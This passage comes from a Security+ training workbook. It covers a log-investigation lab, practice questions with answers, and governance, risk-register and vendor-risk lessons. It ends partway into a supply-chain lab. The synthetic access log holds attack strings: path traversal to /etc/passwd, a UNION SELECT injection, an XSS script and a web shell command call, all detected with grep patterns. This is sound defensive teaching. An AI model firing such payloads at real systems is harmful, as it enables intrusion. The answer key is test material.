Mar 14 01:03:31 web01 sudo:  webadmin : TTY=pts/0 ; PWD=/home/webadmin ;
USER=root ; COMMAND=/usr/bin/passwd support

Mar 14 08:15:02 web01 sshd[2201]: Accepted publickey for ops from
198.51.100.4 port 44512 ssh2

Mar 14 08:16:40 web01 sudo:  ops : TTY=pts/1 ; PWD=/home/ops ; USER=root ;
COMMAND=/usr/bin/apt-get update

EOF

wc -l /root/investigation/auth.log
```

3. Generate a synthetic nginx access log The same attacker IP probes the web app before the SSH break-in: directory traversal, a SQL injection attempt and a reflected XSS test, with a scanner user agent. Legitimate traffic is mixed in as noise.

```
cat > /root/investigation/access.log <<'EOF'

198.51.100.9 - - [14/Mar/2026:00:58:01 +0000] "GET / HTTP/1.1" 200 1024 "-"
"Mozilla/5.0"

203.0.113.66 - - [14/Mar/2026:00:59:11 +0000] "GET /index.php?
page=../../../../etc/passwd HTTP/1.1" 200 2048 "-" "sqlmap/1.7"

203.0.113.66 - - [14/Mar/2026:00:59:14 +0000] "GET /products?
id=1%20UNION%20SELECT%20username,password%20FROM%20users HTTP/1.1" 500 512
"-" "sqlmap/1.7"

203.0.113.66 - - [14/Mar/2026:00:59:18 +0000] "GET /search?
q=<script>alert(1)</script> HTTP/1.1" 200 640 "-" "sqlmap/1.7"

203.0.113.66 - - [14/Mar/2026:00:59:40 +0000] "POST /admin/login HTTP/1.1"
401 180 "-" "sqlmap/1.7"

203.0.113.66 - - [14/Mar/2026:01:00:05 +0000] "POST /admin/login HTTP/1.1"
401 180 "-" "sqlmap/1.7"

203.0.113.66 - - [14/Mar/2026:01:00:22 +0000] "POST /admin/login HTTP/1.1"
302 0 "-" "sqlmap/1.7"

198.51.100.9 - - [14/Mar/2026:01:05:00 +0000] "GET /about HTTP/1.1" 200 980
"-" "Mozilla/5.0"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
203.0.113.66 - - [14/Mar/2026:01:06:10 +0000] "GET /uploads/shell.php?
cmd=id HTTP/1.1" 200 44 "-" "curl/8.0"

EOF

wc -l /root/investigation/access.log
```

4. Find the brute-force source and count the failures Start with the authentication log. Count failed passwords per source IP to find the loudest attacker.

```
cd /root/investigation

grep 'Failed password' auth.log | grep -oE 'from [0-9.]+' | awk '{print
$2}' | sort | uniq -c | sort -rn

echo "--- usernames the attacker tried ---"

grep 'Failed password' auth.log | grep -oE '(invalid user [a-z]+|for [a-z]
+) from' | sed -E 's/ from//; s/invalid user //; s/for //' | sort | uniq -c
| sort -rn
```

5. Find the successful login and link it to the brute force A successful login from the same IP that was just failing, especially right after a run of failures, is the moment the brute force worked.

```
grep 'Accepted' auth.log

echo "--- did the successful login come from the brute-force IP? ---"

grep -E 'Accepted .* from 203.0.113.66' auth.log && echo ">> webadmin was
compromised from the attacker IP"
```

6. Find the privilege escalation After the compromise, follow what the account did with sudo. Reading /etc/shadow and creating a new account are classic post-exploitation actions.

```
grep 'sudo:' auth.log | sed -E 's/.*sudo:  *([a-z]+) .*USER=([a-z]+) ;
COMMAND=(.*)/\1 -> \2 : \3/'

echo "--- persistence: new account created by the compromised user ---"

grep -E 'sudo:.*webadmin.*useradd' auth.log
```

7. Investigate the web attacks Now turn to the application log. Find scanner user agents, web attack signatures and the response codes that reveal which attempts worked (a 302 after many 401s is a successful login; a 200 on a web shell is bad news).

```
cd /root/investigation

echo "--- requests from the attacker IP ---"

awk '$1=="203.0.113.66"' access.log | awk -F'"' '{print $2, "=>", $3}'

echo "--- attack signatures ---"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
grep -En '\.\./|UNION SELECT|<script>|shell\.php' access.log

echo "--- auth attempts on /admin/login by status ---"

awk '/\/admin\/login/ {print $9}' access.log | sort | uniq -c
```

8. Use journalctl for the same questions on a live system On a running host the events are in the systemd journal, not always a flat file. The same investigation uses journal filters. Seed one event so the commands return data in the playground.

```
logger -p auth.info -t sshd "Accepted password for webadmin from
203.0.113.66 port 51020 ssh2"

journalctl -t sshd --since "-5 min" --no-pager | tail -3

journalctl _COMM=sudo --since today --no-pager | tail -3 2>/dev/null ||
echo "(no sudo events in the journal yet)"

journalctl -t sshd --since "-10 min" -o short-iso --no-pager | grep -c
'Accepted\|Failed' || true
```

9. Build the merged timeline Correlate both logs into one chronological timeline. Convert each log's timestamp to a common HH:MM:SS key, tag the source, and sort. This is the single artefact that tells the whole story.

```
cd /root/investigation

{

  awk '{t=$1" "$2" "$3; sub(/:[0-9]+$/,"",$0)}

       /Failed password/      {print $3"  AUTH  brute-force failure from
"$0; }' auth.log >/dev/null

  # auth.log: field 3 is HH:MM:SS

  grep -E 'Failed password|Accepted|sudo:' auth.log | awk '{printf "%s
AUTH   %s\n", $3, substr($0, index($0,$5))}'

  # access.log: timestamp is inside [dd/Mon/yyyy:HH:MM:SS +0000]

  awk -F'[][]' '{split($2,a,":"); printf "%s:%s:%s  WEB    %s %s %s\n",
a[2],a[3],a[4], $1, $3, ""}' access.log \

    | sed -E 's/(WEB  +[0-9.]+) - - /\1 /'

} | sort > timeline.txt

sed -n '1,30p' timeline.txt
```

Test it

The top attacker is 203.0.113.66 with 8 failures, the webadmin compromise and the 'support' account creation are both found, and timeline.txt holds all merged events in time order.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Note: Full commands, troubleshooting and the challenge task are in labs/lab-44-log-investigation/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Practice Questions — Domain 4

1. [4.1] Which pair is done BEFORE placing wireless access points for good coverage? A) Pen test and audit B) Site survey and heat map C) MDM and BYOD D) WPA3 and RADIUS

2. [4.1] A company owns the phones but lets staff use them personally within an AUP. Which deployment model is this? A) BYOD B) CYOD C) COPE D) MDM

3. [4.1] Which wireless option is the MOST secure if offered? A) WPA2 B) WEP C) WPA3 D) BitLocker

4. [4.1] Which cookie flag stops client-side JavaScript from reading a session cookie? A) Secure B) SameSite C) HttpOnly D) Domain

5. [4.2] A failed encrypted drive holding Restricted data cannot be overwritten. What is the correct disposal? A) Format B) Delete C) Physical destruction D) Reuse

6. [4.2] What must be checked BEFORE disposing of any asset? A) CVSS score B) Data retention and legal hold C) Warranty D) Heat map

7. [4.3] A scan reports a flaw that does not actually exist. This is a: A) True positive B) False positive C) False negative D) Zero-day

8. [4.3] Two findings: CVSS 9.8 on an isolated lab host, CVSS 7.5 on an internet-facing server. Which comes first? A) 9.8 B) 7.5 C) Neither D) Both equal

9. [4.4] A benign backup job triggers 400 SIEM alerts a day and analysts ignore them. Best first step? A) Disable the SIEM B) Tune the rule C) Hire analysts D) Archive logs

10. [4.5] An inline IPS misclassifies legitimate traffic as an attack. The immediate impact is: A) Data theft B) Blocked legitimate traffic C) Missed attack D) None

11. [4.5] Which email record tells a receiver to REJECT mail that fails authentication? A) SPF B) DKIM C) DMARC D) MX

12. [4.6] A user enters a password and then a secret question answer. Is this MFA? A) Yes B) No, same factor category C) Yes, know plus have D) Needs biometrics

13. [4.6] Which access control model evaluates attributes such as department, device and time on every request? A) DAC B) MAC C) RBAC D) ABAC

14. [4.6] An admin needs root on one server for a 30-minute change, with no standing access. Which PAM capability fits? A) Vaulting B) JIT permissions C) SSO D) Federation

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

15. [4.6] Which protocol provides XML-based assertions for federated enterprise web single sign-on? A) OAuth B) LDAP C) SAML D) RADIUS

16. [4.7] A platform automatically blocks an IP, opens a ticket and pages on-call from one alert. Which best describes it? A) SIEM B) SOAR C) IDS D) DLP

17. [4.7] Which is a RISK of automation rather than a benefit? A) Reaction time B) Enforced baselines C) Single point of failure D) Workforce multiplier

18. [4.8] Responders isolate the infected host from the network while they plan a fix. Which IR phase is this? A) Detection B) Containment C) Eradication D) Recovery

19. [4.8] Before shutting a compromised server down, what should be collected FIRST? A) Disk image B) Backups C) Memory and network state D) Firewall logs

20. [4.8] Which activity formally suspends routine deletion of data once litigation is anticipated? A) Chain of custody B) Legal hold C) E-discovery D) Acquisition

21. [4.9] An analyst must prove a password was sent in cleartext during an incident. Which source is best? A) NetFlow B) Firewall log C) Packet capture D) Dashboard

22. [4.9] Eight 'Failed password' lines then one 'Accepted password' from the same IP in seconds indicates: A) Normal login B) Successful brute force C) Lockout D) Tunnelling

23. [4.9] Which data source is cheapest to keep for months and best for spotting long-term beaconing? A) Full PCAP B) Flow data C) Memory dump D) Disk image

Answers

- Q1: B - A site survey measures real signal and a heat map visualises coverage, driving AP placement and power.
- Q2: C - COPE: corporate-owned, personally enabled; the firm owns it but permits personal use under policy.
- Q3: C - WPA3 is the strongest; BitLocker is disk encryption, not wireless. Order: WPA3 > WPA2 > WPA > WEP.
- Q4: C - HttpOnly hides the cookie from JavaScript, reducing XSS session theft; Secure forces HTTPS.
- Q5: C - If it cannot be sanitised by overwrite, Restricted media must be physically destroyed and certified.
- Q6: B - Destroying data still under a retention requirement or legal hold is itself a compliance failure.
- Q7: B - A false positive is a false alarm; a false negative (a missed real flaw) is the more dangerous error.
- Q8: B - CVSS is severity, not risk; exposure and impact make the 7.5 internet-facing flaw the higher risk.
- Q9: B - Alert tuning removes the known false positives so real alerts are not lost to alert fatigue.
- Q10: B - Inline, a false positive drops real traffic and can cause an outage; this is the IPS trade-off versus IDS.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Q11: C - DMARC sets the policy (none/quarantine/reject) on top of SPF and DKIM and provides failure reporting.
- Q12: B - Both are 'something you know', so it is two steps in one category, not true MFA.
- Q13: D - ABAC (attribute-based) decides per request using multiple attributes.
- Q14: B - Just-in-time permissions grant elevated access for a short, approved window, then revoke it.
- Q15: C - SAML exchanges signed XML assertions between an identity provider and a service provider.
- Q16: B - SOAR orchestrates the automated response; a SIEM only detects and alerts.
- Q17: C - If one platform automates everything, its failure or compromise endangers everything at once.
- Q18: B - Isolating to stop the spread is containment; removing the malware later is eradication.
- Q19: C - Order of volatility: capture volatile memory and connection state before anything is powered off.
- Q20: B - A legal hold stops normal retention/deletion so relevant evidence is preserved.
- Q21: C - Only a full packet capture contains the payload, so it proves what was actually sent.
- Q22: B - A success immediately after many failures from one source is the classic brute-force signature.
- Q23: B - Flow data (NetFlow/IPFIX) stores only metadata, so it is cheap to retain and ideal for trends.

Domain 5 — Security Program Management & Oversight (20%)

5.1 Governance · 5.2 Risk · 5.3 Third parties · 5.4 Compliance · 5.5 Audits & pentest · 5.6 Awareness

Exam objectives in this domain

- 5.1 Summarize elements of effective security governance
- 5.2 Explain elements of the risk management process
- 5.3 Explain the processes associated with third-party risk assessment and management
- 5.4 Summarize elements of effective security compliance
- 5.5 Explain types and purposes of audits and assessments
- 5.6 Given a scenario, implement security awareness practices

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Objective 5.1 — Security Governance

Official objective: Summarize elements of effective security governance.

Governance is how an organisation directs and oversees security so that it serves business goals, not the other way round.

It is expressed through a hierarchy of documents: broad mandatory policies, specific mandatory standards, step-by-step procedures, and optional guidelines.

External considerations such as regulatory, legal and industry obligations shape those documents at local, regional, national and global levels.

Governance structures (boards, committees, government entities) assign authority, which can be centralized or decentralized, and roles make named people accountable for systems and data.

Guidelines, Policies, Standards, Procedures

- Policy — A high-level, mandatory statement of management intent that sets direction. It says what and why, not how, and changes rarely.
- Standard — A mandatory, specific requirement that implements a policy, such as a minimum password length or an approved cipher suite.
- Procedure — A step-by-step, mandatory instruction telling a named role exactly how to carry out a task such as onboarding or patching.
- Guideline — Recommended, optional advice that helps people apply a standard sensibly where some discretion is allowed.

The Policies the Exam Names

- AUP — The Acceptable Use Policy defines what users may and may not do with company systems, data and network access.
- Information security — Sets the overall security requirements, roles and expectations that every other control document supports.
- Business continuity — The BC policy keeps critical business functions running during a disruption, before full recovery is possible.
- Disaster recovery — The DR policy restores IT systems and data after a major outage, defining priorities and recovery targets.
- Incident response — The IR policy sets how incidents are detected, reported, contained, eradicated and reviewed.
- SDLC and change mgmt — The SDLC policy builds security into development; change management governs how changes reach production safely.

Standards That Implement Policy

- Password standard — Sets concrete rules: length, complexity, history, rotation and lockout, enforced technically rather than merely advised.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Access control standard — Defines how access is granted, reviewed and revoked, and which model (RBAC, least privilege) applies.
- Physical standard — Specifies physical protections such as badge access, visitor logging, server-room controls and CCTV coverage.
- Encryption standard — Names approved algorithms, key lengths and where data must be encrypted at rest and in transit.

Procedures: How the Work Is Done

- Change management — The documented sequence for requesting, approving, testing, scheduling and backing out a change to production.
- Onboarding — Provisions a new joiner's accounts, access and equipment on a least-privilege basis and records acknowledgements.
- Offboarding — Revokes access, recovers assets and preserves data the moment a person leaves, closing the insider-risk window.
- Playbooks — Repeatable response recipes for a specific scenario, such as a ransomware or phishing playbook used during an incident.

External Considerations

- Regulatory — Rules imposed by regulators, such as PCI DSS oversight or a central bank's technology-risk expectations.
- Legal — Statutory duties and contract law, including breach-notification and data-protection obligations you cannot waive.
- Industry — Sector norms and frameworks peers and customers expect, such as ISO 27001 or NIST CSF.
- Jurisdiction scope — The same obligation may apply at local, regional, national and global levels, and the strictest usually governs.

Governance Structures

- Oversight Bodies: A board sets direction and owns ultimate accountability.; Committees handle specific areas like risk or audit.; Government entities impose law and regulatory limits.
- Centralized: One central team sets and enforces policy for all.; Consistent and easy to audit across the estate.; Can be slower and less sensitive to local needs.
- Decentralized: Business units set policy close to their own risk.; Faster and more context-aware for each unit.; Harder to keep consistent and to audit centrally.

Roles for Systems and Data

- Owner — A senior accountable person who sets the classification and acceptable use of a system or data set.
- Controller — The party that decides why and how personal data is processed; it carries the legal obligations under privacy law.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Processor — The party that processes personal data on the controller's behalf and only on the controller's documented instructions.
- Custodian/steward — The hands-on role that implements the owner's decisions day to day, maintaining backups, access and data quality.
- Owner decides, custodian/steward operates. Controller directs the processing, processor acts under instruction.

Obj 5.1 · Living Documents

- Governance is only effective if it is monitored and revised. Policies and standards must be reviewed on a schedule and after major change, or they drift out of step with the real environment.

Exam tips

- Policy = what/why (broad, mandatory); standard = specific requirement; procedure = step-by-step how; guideline = optional advice.
- Controller decides why/how data is processed; processor acts on its instructions. Owner sets classification; custodian/steward operates.
- A warning banner or AUP is directive governance, not a technical fix. Expect doc-type and role-matching questions.
- Centralized governance is consistent and auditable; decentralized is faster and context-aware. Know the trade-off either way.

Lab 45 — Governance: Policies, Standards, Procedures

Exam objective: 5.1. Learning outcome: Write and enforce governance documents on Linux.

Goal: Author a policy, a standard and a procedure as files, enforce them with a login banner, pwquality and sudoers, and map data roles with a RACI chart.

What you'll build

A governance pack: policy, standard, procedure and RACI, enforced on the host (Tools: bash, libpam-pwquality, visudo, /etc/issue.)

Step-by-step

1. Install the tools The password standard is enforced by the PAM pwquality module.

```
apt-get update -qq && apt-get install -y libpam-pwquality

mkdir -p ~/governance && cd ~/governance
```

2. Write the acceptable use policy A policy is broad and mandatory. It says what is and is not allowed, and why. ```bash cd ~/governance cat > aup.md <<'EOF' # Acceptable Use Policy (POLICY) Owner: CISO Review: annual

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

3. Company systems are for authorised business use only.
4. Users must not share credentials or disable security controls.
5. All activity on company systems may be monitored and logged.
6. Suspected security incidents must be reported within 1 hour. EOF cat aup.md ```
7. Write the password standard A standard turns the policy's intent into a specific, measurable requirement.

```
cd ~/governance

cat > password-standard.md <<'EOF'

# Password Standard (STANDARD — implements the AUP)

Owner: Security Engineering   Review: annual

- Minimum length: 12 characters

- Must include upper, lower and digit character classes

- Reject dictionary words and the username

- Enforced technically via pam_pwquality

EOF

cat password-standard.md
```

8. Enforce the standard with pwquality The standard is only real once the host rejects non-compliant passwords.

```
sed -i 's/^#\?\s*minlen.*/minlen = 12/' /etc/security/pwquality.conf

sed -i 's/^#\?\s*minclass.*/minclass = 3/' /etc/security/pwquality.conf

grep -E '^(minlen|minclass)' /etc/security/pwquality.conf

# Prove it rejects a weak password (non-interactive check):

echo 'short' | pwscore || echo "REJECTED: weak password blocked by the
standard"
```

9. Add a directive login banner A login banner is a directive control — it instructs and warns before access.

```
printf '%s\n' 'AUTHORISED USE ONLY. Activity on this system is monitored
and logged.' > /etc/issue.net

printf '%s\n' 'AUTHORISED USE ONLY. Activity on this system is monitored
and logged.' > /etc/issue

cat /etc/issue.net
```

10. Write the onboarding procedure A procedure is step-by-step and names the role that performs each action. ```bash cd ~/governance cat > onboarding.md <<'EOF' #

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Onboarding Procedure (PROCEDURE) Role: IT Service Desk Trigger: HR new-joiner ticket

11. Create the account with least privilege only.
12. Add to role groups the manager approved in writing.
13. Issue MFA token and record the serial.
14. Capture signed AUP acknowledgement.
15. Record completion in the asset register. EOF cat onboarding.md ```
16. Apply a least-privilege sudoers rule Procedures often set access; least privilege means granting only what the role needs.

```
cat > /etc/sudoers.d/helpdesk <<'EOF'

# Help desk may restart web services only — least privilege

%helpdesk ALL=(root) /usr/bin/systemctl restart nginx, /usr/bin/systemctl
status nginx

EOF

chmod 440 /etc/sudoers.d/helpdesk

visudo -cf /etc/sudoers.d/helpdesk
```

17. Build the RACI data-roles chart Map the SY0-701 data roles to a concrete data set so accountability is explicit.

```
cd ~/governance

cat > raci.csv <<'EOF'

data_set,owner,controller,processor,custodian_steward

Customer PII,Head of Sales,Company (us),Cloud CRM vendor,DBA team

Payroll data,Head of HR,Company (us),Payroll provider,HR systems admin

EOF

column -t -s, raci.csv
```

Test it

pwquality rejects a weak password, the banner shows in /etc/issue.net, and raci.csv names owner, controller, processor and custodian.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-45-governance-policies/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Objective 5.2 — Risk Management

Official objective: Explain elements of the risk management process.

Risk management is the cycle of identifying, assessing, analysing, treating and reporting risk so leaders can make informed decisions.

Analysis is qualitative (High/Medium/Low judgement) or quantitative (money figures: SLE, ARO and ALE) and feeds a risk register.

Appetite and tolerance set how much risk is acceptable, and each risk gets an owner, a threshold and key risk indicators.

Risks are treated by mitigating, transferring, accepting or avoiding, and a business impact analysis sets recovery targets such as RTO and RPO.

The Risk Management Cycle

- Step 1: 1. Identify assets, threats and vulnerabilities
- Step 2: 2. Assess which risks are credible
- Step 3: 3. Analyse likelihood and impact
- Step 4: 4. Treat: mitigate, transfer, accept or avoid
- Step 5: 5. Report to owners and the board
- Step 6: 6. Monitor and repeat

How Often You Assess

- Ad hoc — A one-off assessment triggered by an event, such as a new acquisition, a breach or an emerging threat.
- Recurring — Scheduled assessments on a fixed cycle, for example quarterly or annually, to catch drift over time.
- One-time — A single assessment for a specific project or decision that is not meant to repeat.
- Continuous — Always-on monitoring and automated scanning that keeps the risk picture current between formal reviews.

Qualitative versus Quantitative

- Qualitative: Rates risk with judgement labels such as High, Medium and Low.
- Qualitative: Fast, cheap and good for ranking many risks quickly.
- Qualitative: Subjective, so two assessors may disagree on a rating.
- Qualitative: Often shown as a likelihood-by-impact heat-map matrix.
- Quantitative: Puts a money value on risk using SLE, ARO and ALE.
- Quantitative: Objective and directly comparable against control cost.
- Quantitative: Needs reliable data, which is often hard to obtain.
- Quantitative: Drives the budget conversation with finance and the board.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

SLE, ARO and ALE Worked Through

- Asset Value (AV) — The full value of the asset. A customer database is valued at 200,000 dollars.
- Exposure Factor (EF) — The percentage of the asset lost in one event. A breach destroys 60 percent, so EF is 0.6.
- SLE — Single Loss Expectancy equals AV times EF. That is 200,000 times 0.6, which is 120,000 dollars per event.
- ARO — Annualised Rate of Occurrence is expected events per year. Once every two years means ARO is 0.5.
- ALE — Annualised Loss Expectancy equals SLE times ARO. That is 120,000 times 0.5, which is 60,000 dollars a year.
- Probability vs likelihood — Probability is the numeric chance; likelihood is the qualitative sense of it. Impact is the harm if it happens.
- Memorise SLE = AV x EF and ALE = SLE x ARO. Spend on a control only up to the ALE it removes.

The Risk Register

- Core Fields: An ID, description, category and date raised.; Inherent score, controls and residual score.; Treatment decision, target date and status.
- Owner & Threshold: Every risk names a human risk owner.; A threshold is the level that triggers action.; Breaching it escalates to the named owner.
- Key Risk Indicators: KRIs are metrics that warn a risk is worsening.; Example: percentage of laptops without encryption.; They are leading signals, measured over time.

Appetite and Tolerance

- Risk appetite — The amount and type of risk the board is willing to pursue to meet its objectives.
- Expansionary — A growth-seeking appetite that accepts more risk to chase opportunity and market share.
- Conservative — A cautious appetite that minimises risk, accepting slower growth for greater safety.
- Neutral — A balanced appetite sitting between expansionary and conservative.
- Risk tolerance — The acceptable variance around the appetite before action is required; tighter than appetite.

The Four Risk Treatments

- Mitigate — Apply controls to reduce likelihood or impact, such as patching or adding MFA. The most common treatment.
- Transfer — Shift the financial loss to a third party via insurance or a contract clause. The risk still exists.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Avoid — Stop the activity that creates the risk entirely, for example decommissioning a vulnerable legacy feature.
- Accept — Formally document that the residual risk is tolerable. An exemption is a standing waiver; an exception is a time-bound, approved deviation.

Business Impact Analysis Targets

- RTO — Recovery Time Objective: the maximum acceptable time to restore a function after an outage.
- RPO — Recovery Point Objective: the maximum acceptable data loss, measured as time back to the last good backup.
- MTTR — Mean Time To Repair: the average time taken to fix a failed component and bring it back.
- MTBF — Mean Time Between Failures: the average operating time between failures, a reliability measure for repairable systems.
- RTO is about time to restore; RPO is about how much data you can afford to lose. Do not swap them.

Exam tips

- SLE = AV x EF; ALE = SLE x ARO. Be ready to compute ALE from AV, EF and ARO in one step.
- RTO = time to restore a service; RPO = tolerable data loss (time to last backup). A classic swapped-answer trap.
- Transfer (e.g. insurance) does not remove the risk; it moves the financial loss. Avoid removes the activity entirely.
- Exemption is an ongoing waiver of a requirement; exception is a documented, time-limited approved deviation.
- Appetite = how much risk you will take (expansionary/neutral/conservative); tolerance = allowed variance around it.

Lab 46 — Risk Register, CVSS Scoring, and Quantitative Risk

Exam objective: 5.2. Learning outcome: Build a risk register and score it with CVSS and ALE.

Goal: Build a CSV risk register, score a finding with CVSS v3.1, and compute SLE and ALE to justify control spend to the business.

What you'll build

A CSV risk register with CVSS scores, KRIs and a board report (Tools: python3, FIRST.org CVSS calculator, column.)

Step-by-step

1. Create and view the CSV risk register Each column maps to an element of objective 5.2: identification, likelihood, impact, owner, strategy.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
mkdir -p ~/grc && cd ~/grc

cat > risk-register.csv <<'EOF'

id,asset,threat,vuln,likelihood,impact,owner,strategy,status

R-001,web-prod,SQL injection,unsanitised
input,High,High,webops,Mitigate,Open

R-002,db-prod,Ransomware,no off-site
backup,Medium,Critical,dbops,Mitigate,Open

R-003,laptop-fleet,Theft,no FDE,High,Medium,it,Mitigate,In-progress

R-004,mail,Phishing,no DMARC reject,High,High,security,Mitigate,Open

R-005,legacy-app,Vendor EOL,no
patches,Low,High,procurement,Transfer,Accepted

EOF

column -t -s, risk-register.csv
```

2. Score R-001 on the FIRST.org CVSS v3.1 calculator Open https://www.first.org/cvss/calculator/3.1 and set AV:N, AC:L, PR:N, UI:N, S:U, C:H, I:H, A:H.

```
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base score: 9.8 (Critical)
```

3. Compute SLE and ALE in Python Turn the top risk into a money figure the business understands.

```
cd ~/grc

python3 - <<'EOF'

AV, EF, ARO = 200000, 0.6, 0.5   # value, exposure factor, events/year

SLE = AV * EF

ALE = SLE * ARO

print(f"SLE = {SLE:,.0f} per event")

print(f"ALE = {ALE:,.0f} per year")

print(f"Spend up to {ALE:,.0f} on a control to break even.")

EOF
```

4. Choose a risk treatment (mitigate vs accept) Compare the cost of the control against the ALE it removes.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
R-001: ALE 60,000/yr  vs  WAF control ~5,000/yr  ->  MITIGATE (control << ALE)

R-005: patch cost > benefit, low likelihood        ->  TRANSFER / ACCEPT (signed off)
```

5. Add Key Risk Indicators to a CSV KRIs are leading signals with a threshold that triggers action.

```
cd ~/grc

cat > kri.csv <<'EOF'

risk_id,indicator,threshold,current,status

R-001,WAF block rate,>0/day,124/day,Green

R-002,Days since off-site backup,<7,2,Green

R-003,Laptops without FDE,<5%,12%,Red

R-004,DMARC policy,=reject,quarantine,Amber

EOF

column -t -s, kri.csv
```

6. Generate the one-page board risk report Reporting translates the register into a decision for leadership.

```
cd ~/grc

python3 - > board-report.md <<'EOF'

print("# Quarterly Risk Report")

print("- Open risks: 4 (1 Critical, 2 High, 1 Medium)")

print("- Top exposure: R-001 SQLi, ALE 60,000/yr, CVSS 9.8")

print("- Recommended spend: 35,000 across top 4 (all < their ALE)")

print("- Accepted: R-005 (signed off by risk owner, review in 6 months)")

EOF

cat board-report.md
```

Test it

The Python output shows ALE 60,000 per year and board-report.md lists the open risks with their treatments.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-46-risk-register-cvss/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 5.3 — Third-Party Risk

Official objective: Explain the processes associated with third-party risk assessment and management.

Third parties extend your attack surface, so vendors must be assessed before you trust them and monitored for as long as you use them.

Vendor assessment uses penetration tests, a right-to-audit clause, evidence of internal audits, independent assessments and supply chain analysis.

Selection depends on due diligence and avoiding conflicts of interest, and the relationship is governed by agreement types such as SLA, MSA, SOW, NDA and BPA.

Questionnaires and rules of engagement set expectations, and ongoing vendor monitoring confirms the vendor stays within them.

Vendor Assessment Methods

- Penetration testing — Testing the vendor's systems, or reviewing their test results, to confirm their controls actually hold.
- Right-to-audit clause — A contract term letting you inspect the vendor's security, directly or through an agent, during the relationship.
- Evidence of internal audits — The vendor's own audit reports, showing they check themselves and act on the findings.
- Independent assessments — Third-party attestations such as SOC 2 or ISO 27001 certification that an outside auditor has verified controls.
- Supply chain analysis — Mapping the vendor's own suppliers, because their fourth parties become your risk too.

Choosing a Vendor

- Due diligence — Investigating a vendor's financial health, security posture, reputation and references before signing.
- Conflict of interest — Checking that the decision is not swayed by personal ties or undisclosed incentives that bias selection.
- Questionnaires — Structured security questionnaires (such as SIG or CAIQ) gather a comparable baseline across candidate vendors.
- Rules of engagement — Agreed scope, timing and limits for any testing done on or by the vendor, set before work begins.

Agreement Types

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- SLA — Service-Level Agreement: measurable performance and availability targets, with remedies if the vendor misses them.
- MOA / MOU — Memorandum of Agreement is a more formal, sometimes binding commitment; MOU states shared intent and is usually non-binding.
- MSA — Master Service Agreement: the umbrella contract of standing terms under which individual pieces of work are ordered.
- WO / SOW — Work Order or Statement of Work: the specific deliverables, timeline and price for one engagement under an MSA.
- NDA — Non-Disclosure Agreement: binds the parties to keep shared confidential information secret.
- BPA — Business Partners Agreement: governs a joint venture, setting each partner's responsibilities, liabilities and profit share.
- MOU = intent (soft); SLA = measurable targets; MSA = umbrella terms; SOW = the specific job under it.

Obj 5.3 · Ongoing

- Vendors need monitoring for the life of the contract. Vendor monitoring tracks performance against the SLA, re-runs questionnaires and watches for breaches, because a vendor secure at signing can drift.

Internal Audit Evidence vs Independent Assessment

- Vendor internal audit: Produced by the vendor's own audit function.
- Vendor internal audit: Shows the vendor checks itself and acts on findings.
- Vendor internal audit: Cheaper and timely, but self-reported and less objective.
- Vendor internal audit: You rely on the vendor's honesty and competence.
- Independent assessment: Performed by a qualified outside firm.
- Independent assessment: Yields an objective attestation such as SOC 2 or ISO 27001.
- Independent assessment: More credible to your own auditors and regulators.
- Independent assessment: Costs more and happens less often than internal checks.

Exam tips

- Right-to-audit clause = your contractual permission to inspect the vendor's security; negotiate it before you sign.
- SLA = measurable service targets; MOU = intent (often non-binding); MSA = umbrella terms; SOW/WO = the specific scoped job.
- Independent assessments (SOC 2, ISO 27001) are third-party attestations; evidence of internal audits is the vendor's own review.
- Supply chain analysis matters because your vendor's suppliers (fourth parties) inherit into your risk.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Lab 47 — Supply Chain Security: SBOM and Vendor Trust

Exam objective: 5.3. Learning outcome: Generate an SBOM and verify a vendor download.

Goal: Generate a software bill of materials with Syft, verify a vendor download by checksum and GPG signature, and record right-to-audit and questionnaire notes.

What you'll build

An SBOM plus a verified vendor download and a vendor-trust checklist (Tools: syft, sha256sum, gpg, curl.)

Step-by-step

1. Install the tools Syft is a single binary installed by the vendor's official script; also install GnuPG and curl.

```
